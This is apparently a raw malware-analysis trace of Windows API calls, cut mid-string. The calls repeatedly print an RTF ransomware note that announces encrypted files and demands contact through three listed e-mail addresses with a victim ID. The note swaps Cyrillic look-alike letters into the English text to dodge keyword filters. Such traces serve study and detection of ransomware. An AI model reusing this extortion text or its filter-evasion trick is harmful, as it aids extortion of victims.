b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 